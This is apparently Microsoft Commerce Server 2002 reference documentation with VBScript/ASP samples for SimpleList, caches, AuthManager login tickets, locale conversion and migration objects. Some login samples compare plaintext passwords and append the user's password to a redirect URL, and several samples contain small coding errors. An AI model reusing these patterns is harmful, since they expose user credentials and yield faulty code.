[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Count parameter points to valid data only if the method completes successfully.

The caller should always call this method before calling a SimpleList method that requires an array index in-value as a parameter (such as the Delete method).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleList Object

[Visual Basic] SimpleList Object


ISimpleList::get_Item, put_Item Property [C++]

SimpleList.Item Property [Visual Basic]

The Item property is a read/write Variant that contains an item of the SimpleList object. An initialized Variant is stored at a specified array index. If an item is already stored at the specified index, that item is overwritten by the put procedure.

Definition

[C++]

Get method:

HRESULT ISimpleList::get_Item(
 long Index,
 VARIANT* Item
);

Put method:

HRESULT ISimpleList::put_Item(
 long Index,
 VARIANT Item
);

Putref method:

HRESULT ISimpleList::putref_Item(
 long Index,
 VARIANT Item
);
[Visual Basic]
Property Item(
 Index As Long
) As Variant

Parameters

Index [C++]
[in] A long that contains the index of the item.
Index [Visual Basic]
A Long that contains the index of the item.
Item [C++]
[in] When putting the property, a Variant that contains the new item.
[out, retval] When getting the property, a Variant used to return the item.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Description
DISP_E_BADINDEX | The Index parameter references an out-of-range value. This means that Index contains a value either larger than the SimpleList or less than zero.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Item parameter contains valid data only if the method completes successfully.

When putting a value, use the putref_Item method if you are setting an object reference; use the put_Item method if you are setting a scalar value.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleList Object

[Visual Basic] SimpleList Object


Example Code for General Purpose Objects

This section provides detailed code examples of how to use the general purpose objects.

Examples

Example | Description
Code to Write an Error Event to the Commerce Server Event Log | Describes how to write an error event to the Commerce Server 2002 event log.
Code to Read and Display the Contents of a Server-Side File | Describes how to read the contents of a server-side file and write those contents to the browser.
Code to Dump Dictionary Values | Describes how to dump the contents of a Dictionary object.
Code to Create and Manipulate a SimpleList | Describes how to create and work with the SimpleList object.
Code to Implement Custom Cache Components | Describes how to implement custom cache components.
Code to Manipulate an LRUCache Object | Describes how to manipulate an LRUCache object.
Code to Generate a GUID | Describes how to generate a globally unique identifier (GUID).
Code to Control Display of a Business Desk Module | Describes how to control whether a specified Business Desk module is displayed to the current user.
Code to Create and Initialize AuthManager | Describes how to instantiate and initialize the AuthManager object.
Code to Manipulate Site Configuration Properties | Describes how to change CS Authentication resource properties.
Code to Retrieve Login Credentials | Describes how to retrieve the user ID and password submitted on an HTML form using either the Get method or the Post method.
Code to Set a New MSCSProfile Ticket | Describes how to create an MSCSProfile ticket.
Code to Retrieve a Profile and Set an MSCSAuth Ticket | Describes how to retrieve a profile using the Commerce Server Profiles resource, and set an MSCSAuth ticket.
Code to Retrieve Login Credentials Using the Post Method and Set an MSCSAuth Ticket | Describes how to retrieve the user ID and password submitted on a HTML form using the Post method, get the profile corresponding to the user ID using the Commerce Server Profiles resource, set the user ID in an MSCSAuth ticket, and redirect the user to the originally requested URL.
Code to Set a Custom Property on a Ticket | Describes how to create a globally unique identifier (GUID) string and place it on an MSCSAuth ticket as a guid property.
Code to Generate an Encoded URL String | Describes how to generate an encoded URL string from a file name.
Code to Apply Data Type Conversion and Range Checking | Describes how to perform locale-based data type conversion and range validation.
Code to Manipulate and Display Euro Values | Describes how to use the EuroDisplay object to convert currency amounts.
Code to Convert Between Numbers and Strings | Describes how to use the conversion functions of the DataFunctions object.
Code to Display Locale-Specific Strings | Describes how to use locale-based conversion functions of the DataFunctions object.
Code to Manage Common Error Messages to Users | Describes how to add languages and messages to the MessageManager object, and how to write messages to a Web browser.


Code to Write an Error Event to the Commerce Server Event Log

This section describes how to write an error event to the event log.

The first parameter to the WriteErrorEvent method specifies, in this example, the name of the server in which Commerce Server 2002 is installed. The second parameter specifies the event message string.

Create the example ASP page using the following code:

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim oAdminEventLog
Set oAdminEventLog = Server.CreateObject("Commerce.AdminEventLog")
oAdminEventLog.Initialize("myServerName")
oAdminEventLog.WriteErrorEvent "mySite", "Error Event Message String"
%>
</BODY>
</HTML>


Code to Read and Display the Contents of a Server-Side File

This example uses the ReadFromFile method of the AdminFiles object to read the text file contents; the Internet Information Services (IIS) intrinsic method Response.Write is then used to write those contents to the browser. If you want to read and write file types other than text files, use the ReadFromBinaryFile method of the AdminFiles object in conjunction with the Response.WriteBinary method.

Create the example ASP page using the following code:

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim oAdminFiles, strRet
Set oAdminFiles = Server.CreateObject("Commerce.AdminFiles")
strRet = oAdminFiles.ReadFromFile("c:\temp\Sample.txt")
Response.Write strRet
%>
</BODY>
</HTML>


Code to Dump Dictionary Values

When you need to create a Dictionary object explicitly (that is, when the object is not created for you by some other Commerce Server 2002 object), use the CreateObject method of the Internet Information Services (IIS) intrinsic Server object, as follows:

Dim oMyDictionary
Set oMyDictionary = Server.CreateObject("Commerce.Dictionary")

After creating the object, you can add elements to it, as follows:

oMyDictionary.first_name = "Steve"

In this example, first_name is a Dictionary key, and "Steve" becomes the assigned value of this key.

You can extract values from a Dictionary object in several ways. You can place the object.key identifier on the right side of the assignment statement. Such an assignment returns the value of the referenced key:

my_first_name = oMyDictionary.first_name

Or you can use the Value method to get the value of a given key:

my_first_name = oMyDictionary.value("first_name")

You can also use the For Each statement in Microsoft Visual Basic Scripting Edition (VBScript) to enumerate through either the keys or the values of a Dictionary object as follows (this example assumes that every value in the dictionary contains text):

' Get the key names.
For Each element in oMyDictionary
    Response.Write element
next

' Get the values.
For Each element in oMyDictionary
    Response.Write oMyDictionary.Value(element)
Next

The following example creates a new Dictionary object, loads values into two keys named first_name and last_name, then writes the element names and element values to the browser:

Set oMyDictionary = Server.CreateObject("Commerce.Dictionary")
oMyDictionary.first_name = "Sam"
oMyDictionary.last_name = "Stone"

' Get the key names.
For Each element in oMyDictionary
    Response.Write "Key = " & element
    Response.Write "    Value = " & oMyDictionary.Value(element)
    Response.Write "<br>"
Next


Code to Create and Manipulate a SimpleList

In the following example, several color values are added to a newly created SimpleList object named ColorList. Once the colors are added, the third color value (blue, with an index value of 2) is removed. Following this, the code iterates through the list, using the Count property to determine the number of items in the SimpleList; in turn, each remaining color is written to the browser.

The example ASP code follows:

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim ColorList, Count
Set ColorList = Server.CreateObject("Commerce.SimpleList")
Call ColorList.Add("Red")
Call ColorList.Add("Green")
Call ColorList.Add("Blue")
Call ColorList.Add("Fuschia")
Call ColorList.Delete(2)

' Count will be 3, not 4.
Count = ColorList.Count

' Output will be "Red  Green  Fuschia" on a line by itself.
For i = 0 To (Count - 1)
    Response.Write ColorList(i) & "  "
Next
Response.Write "<br>"
%>
</BODY>
</HTML>


Code to Implement Custom Cache Components

Loader and Writer components are used within the Content Selection Framework (CSF) to load caches and write out campaign results.

Loader and Writer components can be apartment-threaded, because they are created, used once, and then destroyed by the same thread. This means that they can be written in Microsoft Visual Basic.

Loader and Writer components are implemented as pipeline components, although they are not intended to be executed in the context of a pipeline. They must implement the Execute method of the IPipelineComponent interface for the CacheManager object to be able to execute them. Further, if they require configuration, they must implement the SetConfigData method of the IPipelineComponentAdmin interface. The following tables provide details regarding this requirement.

Loader Component

Method to Implement Details
IPipelineComponent::

Execute

 Required for the Loader component to execute.

The pDispContext parameter is set to the existing cache instance, if it exists, otherwise it is set to a new, empty cache object. If the cache object (specified by the LoaderProgId setting for the cache) is a Dictionary object, then the following additional entries are set:

  • _CacheName set to the name of the cache being refreshed.
  • _CacheRefreshInterval set to the refresh interval.
  • _CacheFirstRefresh set to one (1) on the first cache refresh, and to zero (0) thereafter (can be used for conditional error logging).
  • _AppUrl set to the value of the AppURL property, if any. This entry is optional and may not be set if the CacheManager object is not running in an ASP application.

The pDispOrder parameter is set to a new cache object based on the setting of the LoaderProgId property, normally a Dictionary object or an LRUCache object, which will become the new cache.

The lFlags parameter is set to zero (0).

The plErrorLevel parameter is ignored on return.
IPipelineComponentAdmin::

SetConfigInfo

 Optional. Required only if the Loader component requires configuration. Will be called if LoaderConfig property has been set.

The pDict parameter is set to point at the Dictionary object specified by the LoaderConfig property.

Writer Component

Method to Implement | Details
IPipelineComponent:: Execute | Required for the Writer component to execute. The pDispOrder parameter is set to the existing cache instance. Normally a Writer component will retrieve data from the cache to be written to disk. The pDispContext parameter is set to NULL. The lFlags parameter is set to zero (0). The plErrorLevel parameter is ignored on return.
IPipelineComponentAdmin:: SetConfigInfo | Optional. Required only if the Writer component requires configuration. Will be called if WriterConfig property has been set. The pDict parameter is set to point at the Dictionary object specified by the WriterConfig property.
' Create a Cache manager component and configure it
Set dictConfig = CreateObject("Commerce.Dictionary")
dictConfig("ConnectionString") = "Provider=SQLOLEDB;Integrated Security='SSPI';DataSource=local"
Set CacheManager = Server.CreateObject("Commerce.CacheManager")
CacheManager.LoaderProgId("advertising") = "Commerce.LoadAdvertisements"
Set CacheManager.LoaderConfig("advertising") = dictConfig
CacheManager.WriterProgId("advertising") = "Commerce.WriteEvents"
Set CacheManager.WriterConfig("advertising") = dictConfig
CacheManager.RefreshInterval("advertising") = 10 * 60
CacheManager.RetryInterval("advertising") = 60
Set application("CacheManager") = CacheManager

Now any web page in the application can quickly access the named schedule:

Set CacheManager = application("CacheManager")
Set dictSchedule = CacheManager.GetCache("advertising")


Code to Manipulate an LRUCache Object

The following example code shows how to use the LRUCache object.

' Declare variables to be used.
Dim oLRUCache, oDict, oNewDict, NumVal

' Create an instance of an LRU cache.
Set oLRUCache = CreateObject("Commerce.LRUCache")

' Set the max cache size to 100 items.
oLRUCache.SetSize 100

' Create an object to store.
Set oDict = CreateObject("Commerce.Dictionary")
oDict("Test") = "This is a test."

' Store the Dictionary object.
oLRUCache.Insert "DictObject", oDict

' Store the number 10.
oLRUCache.Insert "Number", 10

' Lookup the stored Dictionary object using method LookupObject.
Dim oNewDict
Set oNewDict = oLRUCache.LookupObject "DictObject"

' Lookup the stored number using method Lookup.
Dim NumVal
NumVal = oLRUCache.Lookup "Number"

' Remove all items from the cache.
oLRUCache.FlushAll

' Display the results, which will be:
' This is a test.
' 10
Response.Write "Dictionary data from cache: " & oDict.Test & "<BR>"
Response.Write "Number stored in cache: " & NumVal & "<BR>"


Code to Generate a GUID

The following example code shows how to generate a globally unique identifier (GUID).

Dim oGenID, sGUID
Set oGenID = Server.CreateObject("Commerce.GenID")

sGUID = oGenID.GenGUIDString()
Set oGenID = Nothing


Code to Control Display of a Business Desk Module

This example shows how to control whether the Catalog Editor module in Commerce Server Business Desk is displayed to the current user.

  1. Open the XML file corresponding to the Catalog Editor module. When the Retail Solution Site is unpackaged to the default installation directory, this file, named Catalogs_editor.xml, will be located in the folder \Inetpub\wwwroot\retailbizdesk\config.

    Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

  2. The name of the ASP file associated with the Catalog Editor module is found in the id attribute of the module element of this file. For more information about the XML format, see Module Configuration Files.
    <module id="catalogs/editor/list_Catalogs.asp">
   <name>Catalog Editor</name>
   <tooltip>Manage Catalog Data</tooltip>
</module>
  3. Create the BizDeskSecurity object.
    Dim oBizDeskSecurity
Set oBizDeskSecurity = Server.CreateObject("Commerce.BizDeskSecurity")
  4. Pass the ASP file to the BizDeskSecurity object.
    If oBizDeskSecurity.CanUserAccess("list_Catalogs.asp") Then
   ' Display the module
End If


Code to Create and Initialize AuthManager

The AuthManager object uses site configuration resource properties. When the AuthManager object is first initialized, it creates a site cache and populates the cache with these properties. If initialized again, it checks the cache for these properties and, if they are not found, they are loaded again. An instance of the AuthManager object is created and initialized in the Global.asa file for the site (for performance reasons) and on every page that uses the AuthManager object.

  1. Create the AuthManager object. Note that the ProgID for the object is different than the object name.
    Dim oAuthManager
Set oAuthManager = Server.CreateObject("Commerce.AuthManager")
  2. Initialize the object to the Retail site.
    oAuthManager.Initialize "Retail"


Code to Manipulate Site Configuration Properties

Whenever a site configuration property used by the AuthManager object is changed, the cache storing these properties must be refreshed. For information on the SiteConfig object, see SiteConfig Object.

  1. Create a SiteConfig object and initialize it to the Retail site.
    Dim oSiteConfig
Set oSiteConfig = Server.CreateObject("Commerce.SiteConfig")
oSiteConfig.Initialize "Retail"
  2. Change the default time window to 90 seconds.
    oSiteConfig.Fields("Site CS Authentication").Value _
 .Fields("u_cookie_time_window").Value = 90

oSiteConfig.SaveConfig
  3. Create and initialize an AuthManager object.
    Dim oAuthManager
Set oAuthManager = Server.CreateObject("Commerce.AuthManager")
oAuthManager.Initialize "Retail"
  4. Refresh the site cache.
    oAuthManager.Refresh "Retail"
  5. Release the objects.
    Set oSiteConfig = Nothing
Set oAuthManager = Nothing


Code to Retrieve Login Credentials

This example shows how to retrieve the user ID and password submitted on an HTML form using either the Get method or the Post method.

  • Retrieve the credentials using the Get method.
    Dim sUserID, sPassword
If Request.QueryString("realSubmit") = "fromButton" Then
    sUserID = Request.QueryString("txtUserName")
    sPassword = Request.QueryString("txtPassword")
End If
  • Retrieve the credentials using the Post method.
    Dim sUserID, sPassword
If Request.Form("realSubmit") = "fromButton" Then
    sUserID = Request.Form("txtUserName")
    sPassword = Request.Form("txtPassword")
End If


Code to Set a New MSCSProfile Ticket

This example shows the creation of a globally unique identifier (GUID), used to identify a user, and the creation of an MSCSProfile ticket, which places the GUID on a persistent cookie for the user.

  1. Create the GenID object.
    Dim oGenID
Set oGenID = Server.CreateObject("Commerce.GenID")
  2. Create the GUID string.
    Dim sGUID
sGUID = oGenID.GenGUIDString()
  3. Using the AuthManager object, oAuthManager, created and initialized in Code to Create and Initialize AuthManager, create the MSCSProfile ticket.
    oAuthManager.SetProfileTicket sGUID, True
  4. Release the objects.
    Set oGenID = Nothing
Set oAuthManager = Nothing


Code to Retrieve a Profile and Set an MSCSAuth Ticket

This example shows how to retrieve a profile corresponding to a known user ID using the Commerce Server Profiles resource, and set the userID in an MSCSAuth ticket. For more information about using the Profiles resource, see Example Code for Profile Objects.

  1. Create and initialize the ProfileService object. The sBDSConnect parameter is the connection string to the Profile store where the profile definitions are saved.
    Dim oProfileService
Set oProfileService = Server.CreateObject("Commerce.ProfileService")
oProfileService.Initialize sBDSConnect, "Profile Definitions"
  2. Retrieve the profile associated with the user ID. If the profile does not exist, redirect the user to a login page.
    Dim oProfileObject
Set oProfileObject = oProfileService.GetProfile(sUserID, "UserObject")
If (oProfileObject Is Nothing) Then
    Response.Redirect "Login.asp"
End If
  3. Retrieve the password associated with the profile.
    Dim sProfilePassword
sProfilePassword = oProfileObject.user_security_password
  4. If the submitted password matches the profile password, set the authentication ticket using the AuthManager object, oAuthManager, created and initialized in Code to Create and Initialize AuthManager. If the passwords do not match, redirect the user to the login page.
    If sPassword = sProfilePassword Then
    oAuthManager.SetAuthTicket sUserID, True, 45
Else
    Response.Redirect "Login.asp"
End If
  5. Release the objects.
    Set oProfileService = Nothing
Set oProfileObject = Nothing
Set oAuthManager = Nothing


Code to Retrieve Login Credentials Using the Post Method and Set an MSCSAuth Ticket

This example shows how to retrieve the user ID and password submitted on a HTML form using the Post method, retrieve the profile corresponding to the user ID by using the Commerce Server Profiles resource, set the user ID in an MSCSAuth ticket, and redirect the user to the originally requested URL. Assume the user entered a user ID and password and clicked the Submit button on an HTML form. For more information about using the Profiles resource, see Example Code for Profile Objects.

  1. Make sure the request is a form submission, then retrieve the user ID and password.
    Dim sUserID, sPassword
If Request.Form("realSubmit") = "fromButton" Then
    sUserID = Request.Form("txtUserName")
    sPassword = Request.Form("txtPassword")
End If
  2. Create and initialize the ProfileService object. The sBDSConnect parameter is the connection string to the Profile store where the profile definitions are saved.
    Dim oProfileService
Set oProfileService = Server.CreateObject("Commerce.ProfileService")
oProfileService.Initialize sBDSConnect, "Profile Definitions"
  3. Retrieve the profile associated with the submitted user ID. If the profile does not exist, redirect the user to the login page.
    Dim oProfileObject
Set oProfileObject = oProfileService.GetProfile(sUserID, "UserObject")
If (oProfileObject Is Nothing) Then
    Response.Redirect "Login.asp"
End If
  4. Retrieve the password associated with the profile.
    Dim sProfilePassword
sProfilePassword = oProfileObject.user_security_password
  5. If the submitted password matches the profile password, set the authentication ticket to use the AuthManager object, oAuthManager, created and initialized in Code to Create and Initialize AuthManager. If the passwords do not match, redirect the user to the login page.
    If sPassword = sProfilePassword Then
    oAuthManager.SetAuthTicket sUserID, True, 45
Else
    Response.Redirect "Login.asp"
End If
  6. Append the user ID and password to the URL string as custom properties. This step is provided for sites using the AuthFilter ISAPI filter in Windows Authentication mode and, in general, is not required. For more information about this mode and specific to this step, see Post Method.
    Dim sReturn
sReturn = Request.Cookies("MSCSFirstRequestedURL")
sReturn = sReturn & "&proxyuser=" & sUserID & "&proxypwd=" & sPassword
  7. Redirect the user to the original requested URL.
    Response.Redirect sReturn
  8. Release the objects.
    Set oProfileService = Nothing
Set oProfileObject = Nothing
Set oAuthManager = Nothing


Code to Set a Custom Property on a Ticket

This example shows how to set a custom property named guid, which holds a globally unique identifier (GUID) string on an MSCSAuth ticket. The technique is also valid for an MSCSProfile ticket and other custom properties. Setting this property is used to thwart a distributed denial of service (DDOS) attack when using the AuthFilter ISAPI filter in Windows Authentication mode. For more information about DDOS, see AuthFilter and DDoS Attacks.

  1. Create the GenID object.
    Dim oGenID
Set oGenID = Server.CreateObject("Commerce.GenID")
  2. Create the GUID string.
    Dim sGUID
sGUID = oGenID.GenGUIDString()
  3. Using the AuthManager object, oAuthManager, created and initialized in Code to Create and Initialize AuthManager, place the guid property on the previously set MSCSAuth ticket. To place the property on an MSCSProfile ticket, replace the enumMSCS_AuthTicketType parameter with enumMSCS_ProfileTicketType.
    oAuthManager.SetProperty enumMSCS_AuthTicketType, "guid", sGUID
  4. Append the guid property to the URL string as a custom property and redirect the user to the originally requested URL. This step is not required for custom properties in general and is provided for completeness in the DDOS example.
    Dim sReturn
sReturn = Request.Cookies("MSCSFirstRequestedURL") & "guid=" & sGUID
Response.Redirect sReturn
  5. Release the objects.
    Set oGenID = Nothing
Set oAuthManager = Nothing


Code to Generate an Encoded URL String

This example shows how to create an encoded URL string containing custom properties.

  1. Create two SafeArrays to hold the custom property/value pairs.
    Dim savProperties, savValues
  2. Populate the SafeArrays.
    savProperties(0) = "SKU"
savValues(0) = "F13B69881E"
savProperties(1) = "Quantity"
savValues(1) = 3
  3. Using the AuthManager object, oAuthManager, created and initialized in Code to Create and Initialize AuthManager, create a URL to reference the file Weeklysales.asp. The second parameter indicates that cookies are disabled and causes the AuthManager object to append the user ID from the MCSCAuth ticket to the string. The third parameter indicates the URL is secure.
    Dim sURL
sURL = oAuthManager.GetURL("Weeklysales.asp", False, True, _
                           savProperties, savValues)
  4. The resulting URL string follows.
    ' sURL = https://host_name/virtual_directory/weeklysales.asp?SKU=
'        F13B69881E&Quantity=3&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E


Code to Apply Data Type Conversion and Range-Checking

This topic describes how to create an Active Server Pages (ASP) page (Form.asp) that contains a form whose contents are checked and converted to a Date Variant. The checking and conversion are performed by the Process.asp file.

The first parameter to the RequestDate method specifies, in the following example, the name of the form field from which the data was submitted. If this text field is empty, the second parameter to the RequestDate method, "1/1/2000", becomes the date that the RequestDate method processes. First, the string expression of the date is converted to a date value based on a specified Locale property (1033, the Locale property for the US, in this instance), and then the value is checked against the specified date range specified by the third and fourth parameters.

If the Form.asp file is loaded into the browser, it will display the date as processed by the RequestDate method in the Process.asp file.

  1. Create the Form.asp file using the following code:
    <FORM METHOD="POST" ACTION = "Process.asp">
<INPUT TYPE="Text" NAME= "Date">
<INPUT TYPE ="Submit" NAME = "Action" VALUE = "Send Info"
</FORM>
  2. Create the Process.asp file using the following code:
    Dim oAppFrameWork, vDate
Set oAppFrameWork = Server.CreateObject("Commerce.AppFrameWork")
vDate = oAppFrameWork.RequestDate("Date", _
                                     "1/1/2000", _
                                     "1/1/2000",  _
                                     "12/12/2000", _
                                     "1033")
If IsNull(vDate) Then
    Response.Write "Invalid Date"
Else
    Response.Write vDate
End If


Code to Manipulate and Display Euro Values

The purpose of this example is to convert currency information from dollars to French Francs. In this example, you create an Active Server Pages (ASP) page that creates a EuroDisplay object, initializes it to set the Base Currency Symbol to "$", the Base Locale to the locale for the US, the Alternate Currency Symbol to "FF", the Alternate Locale to France, and the conversion rate equal to $ 1.00 = 2 FF. The example then converts 100 units of the Base Currency to Alternate Currency units; $100 will convert to 200 Francs.

  1. Instantiate the EuroDisplay object. Note that this line of code is usually found in the Global.asa file.
    Dim EuroDisplay, Result
Set oEuroDisplay= Server.CreateObject("Commerce.EuroDisplay")
  2. Initialize the EuroDisplay object. Note that this line of code is usually found in the Global.asa file. This code will initialize the object by setting the Base Currency Symbol to "$", the Base Locale to the locale for the US, the Alternate Currency Symbol to "FF", the Alternate Locale to France, and the conversion rate equal to $ 1.00 = 2 FF.
    oEuroDisplay.Initialize("$", 1033, "FF", 1036, 2)
  3. Convert $ 100 to FF 200.
    cyAltCurrency = oEuroDisplay.ConvertMoney(100)
  4. Write the converted value to the page.
    Response.Write "Converted $100 from $ to FF ($1 = 2FF) : " _
               & cyAltCurrency


Code to Convert Between Numbers and Strings

The following two examples illustrate the use of the DataFunctions object in converting between string values and numbers.

Converting a Number to a String

Converting a Monetary Value to a Number

Converting a Number to a String

In this example, you create an Active Server Pages (ASP) page that converts a floating-point number into a variety of outputs. All outputs are based on the US locale; this example explores different rounding and trailing zero variable settings.

Create the example using the following code:

  1. Instantiate the DataFunctions object, and set the object Locale property to US.
    Dim oDataFunctions, iResult, iLocale, iInputFloat
Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
iLocale = "1033"
oDataFunctions.Locale = iLocale
  2. Call the Float method to convert the number to the US version with no rounding and with trailing zeros maintained. Write the results to the page.
    iInputFloat = 100.00010
iResult = oDataFunctions.Float(iInputFloat, iLocale, True , False)
Response.Write "USA, No Rounding, With Trailing: " & Result & "<P>"
  3. Call the Float method to convert the number to the US version with no rounding and with trailing zeros removed. Write the results to the page.
    Result = oDataFunctions.Float(iInputFloat, iLocale, True, True)
Response.Write "USA, No Rounding, Trim Trailing: " & Result & "<P>"
  4. Call the Float method to convert the number to the US version with rounding and with trailing zeros maintained. Write the results to the page.
    Result = oDataFunctions.Float(iInputFloat, iLocale, False, False)
Response.Write "USA, Rounding, With Trailing: " & Result & "<P>"
  5. Call the Float method to convert the number to the US version with rounding and with trailing zeros removed. Write the results to the page.
    Result = oDataFunctions.Float(iInputFloat, iLocale, False, True)
Response.Write "USA, Rounding, Trim Trailing: " & Result & "<P>"

Converting a Monetary Value to a Number

In this example, you create an ASP page that converts a monetary value to an integer. The ConvertMoneyStringToNumber method returns the value in the base monetary unit for a given Locale property.

Thus, given a value in US dollars, the ConvertMoneyStringToNumber method returns the number of cents in the US dollar value. Additionally, the ConvertMoneyStringToNumber method does not round values. For example, if you pass to this method the number "123.009", the method returns 12300, not 12301.

Create the example using the following code:

  1. Instantiate the DataFunctions object.
    Dim oDataFunctions, iResult, sAmount, iLocale
sAmount = "12000"
Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
  2. Set locale to US.
    iLocale = "1033"
oDataFunctions.Locale = iLocale
  3. Convert the string to an integer.
    Result = oDataFunctions.ConvertMoneyStringToNumber("34.095", iLocale)
  4. Write the results to the page.
    Response.Write "USA: " & Result & "<P>"


Code to Display Locale-Specific Strings

This section describes how to create Active Server Pages (ASP) pages that use the string conversion functions of the DataFunctions object.

Converting a Date Based on Locale

Converting a Number Based on Locale

Converting a Money Amount Based on Locale

Converting a Date Based on Locale

In this example, you create an ASP page that converts a date into two locale-specific displays. The first display is that of the French version of the date; the second is the US version.

Create this example using the following ASP code:

  1. Instantiate the DataFunctions object, set the Locale property to France (1036), convert the date string, and write the converted string to the page.
    Dim Result, Amount
Amount = "12000"
Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
iLocale = "1036"
oDataFunctions.Locale = iLocale
Result = oDataFunctions.ConvertDateString("12/1/2000", iLocale)
Response.Write "France: " & Result & "<BR>"
  2. Set the Locale property to US (1033), convert the date string, and write the converted string to the page.
    iLocale = "1033"
oDataFunctions.Locale = iLocale
Result = oDataFunctions.ConvertDateString("12/1/2000", iLocale)
Response.Write "USA: " & Result & "<BR>"

Converting a Number Based on Locale

In this example, you create an ASP page that converts a floating-point number into two locale-specific outputs. The first output is that of the French version of the number; the second is the US version.

The output shows the differing display formats of the French and US versions of the number 10000000 (ten million):

  • France: 10 000 000,00
  • US: 10,000,000.00

Create the ASP page using the following code:

  1. Instantiate the DataFunctions object.
    Dim oDataFunctions, sResult, iLocale
Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
  2. Set the Locale property to France (1036), and write the converted number to the page.
    iLocale = "1036"
oDataFunctions.Locale = iLocale
sResult = oDataFunctions.Number(10000000, iLocale)
Response.Write "France: " & sResult & "<BR>"
  3. Change the Locale property to US (1033), and write the converted number to the page.
    iLocale = "1033"
oDataFunctions.Locale = iLocale
sResult = oDataFunctions.Number(10000000, iLocale)
Response.Write " USA: " & sResult & "<BR>"

Converting a Money Amount Based on Locale

In this example, you create an ASP page that converts a floating-point number that contains a monetary value into two locale-specific displays. The first display is that of the French version of the number; the second is the US version.

Use this method to convert a long that contains a monetary value to an equivalent string representation, based on the default or specified Locale property. The output will display the locale-specific currency symbol:

  • France: 120,00 F
  • US: $120.00

Create this example using the following ASP code:

  1. Instantiate the DataFunctions object.
    Dim oDataFunctions, sResult, lAmount
Amount = "12000"
Set oDataFunctions = Server.CreateObject("Commerce.DataFunctions")
  2. Set the Locale property to France (1036), convert the amount, and write the result to the page.
    iLocale = "1036"
oDataFunctions.Locale = iLocale
sResult = oDataFunctions.Money(lAmount, iLocale)
Response.Write "France: " & sResult & "<BR>"
  3. Set the Locale property to US (1033), convert the amount, and write the result to the page.
    iLocale = "1033"
oDataFunctions.Locale = iLocale
sResult = oDataFunctions.Money(lAmount, iLocale)
Response.Write "USA: " & sResult & "<BR>"


Code to Manage Common Error Messages to Users

The MessageManager object is created in the Global.asa file. For the purposes of this example (although this practice is not recommended), it will be created on an ASP page. In this example, a MessageManager object is created, and two languages (Informal and Formal) are added to it. Following this, a message ("greeting") is added to each language. The message is then written to the page in each language.

  1. Instantiate the MessageManager object.
    Dim oMessMgr, sMessage
Set oMessMgr= Server.CreateObject("Commerce.MessageManager")
  2. Add two new languages to the MessageManager object, specifying the US Locale (1033).
    Call oMessMgr.AddLanguage ("Informal", 1033)
Call oMessMgr.AddLanguage("Formal", 1033)
  3. Add two new messages to the MessageManager object.
    oMessMgr.AddMessage "greeting", "Hi, World!", "Informal"
oMessMgr.AddMessage "greeting", "How do you do, World.", "Formal"
  4. Get the informal message, and write it to the page.
    sMessage = oMessMgr.GetMessage("greeting", "Informal")
Response.Write "Informal Message: "& sMessage & "<BR>"
  5. Get the formal message, and write it to the page.
    sMessage = oMessMgr.GetMessage("greeting", "Formal")
Response.Write "Formal Message: " & sMessage & "<BR>"


Migration Objects

The Migration objects provide functionality to support migration of data from Site Server 3.0 Commerce Edition to Commerce Server 2000.

Objects

Visual Basic Reference | C++ Invocation | Description
MigrationLogObj | MigrationLogObj | Writes migration log data to the data store.
MigrationMainObj | MigrationMainObj | Coordinates migration of data from the Site Server 3.0 Commerce Edition Membership Directory to the Commerce Server 2002 Profile data store.
MigrationModifyObj | MigrationModifyObj | Changes data that has been read from the Site Server 3.0 Commerce Edition Membership Directory before it is migrated to the Commerce Server 2002 Profile data store.
MigrationReadObj | MigrationReadObj | Reads values for each attribute in the Site Server 3.0 Commerce Edition Membership Directory, and sends them to the MigrationProfile object.
MigrationWriteObj | MigrationWriteObj | Writes the values for each attribute in the Site Server 3.0 Commerce Edition Membership Directory to the Commerce Server 2002 Profile data store.


MigrationLogObj Object [C++]

MigrationLogObj Object [Visual Basic]

Use this object to write log data to the data store determined by the connection string. The data includes the status of each migration.

ProgID: | MigrationLog (Externally creatable)
COM Class Name: | MigrationLog
Type Library Name: | MigrationLogObj 1.0 Type Library
[C++]
COM Interface Name: | IMigrationLog
Interface ID Constant: | None
Header File: | MigrationLog.h

Methods

[C++]
Method | Description
Initialize | Initializes the MigrationLogObj object.
LogSuccess | Writes the success code to the log file.
RecordInfo | Records data to the log file.
[Visual Basic]
Method | Description
Initialize | Initializes the MigrationLogObj object.
LogSuccess | Writes the success code to the log file.
RecordInfo | Records data to the log file.
[C++]

The IMigrationLogObj interface depends on the following structure:

typedef struct _LOGINFO
{
    long  lProfile_id
    BSTR  bstrDN;
    BSTR  bstrObject;
    Long  lErrorCode;
    BSTR  bstrReason;
} LOGINFO;

Requirements

The following table contains the requirements of the MigrationLogObj object.

Parameter | Description
Registry key | SYSTEM\\CurrentControlSet\\Services\\Migration\\Parameters
LogFilePath | The path of the log file. The default is "C:\MigrationLogObj". The data type is String.
MaxNumLinesEachFile | The maximum number of lines in each log file. If the number of lines exceeds this number, another log file is created in the same directory. The data type is DWORD.
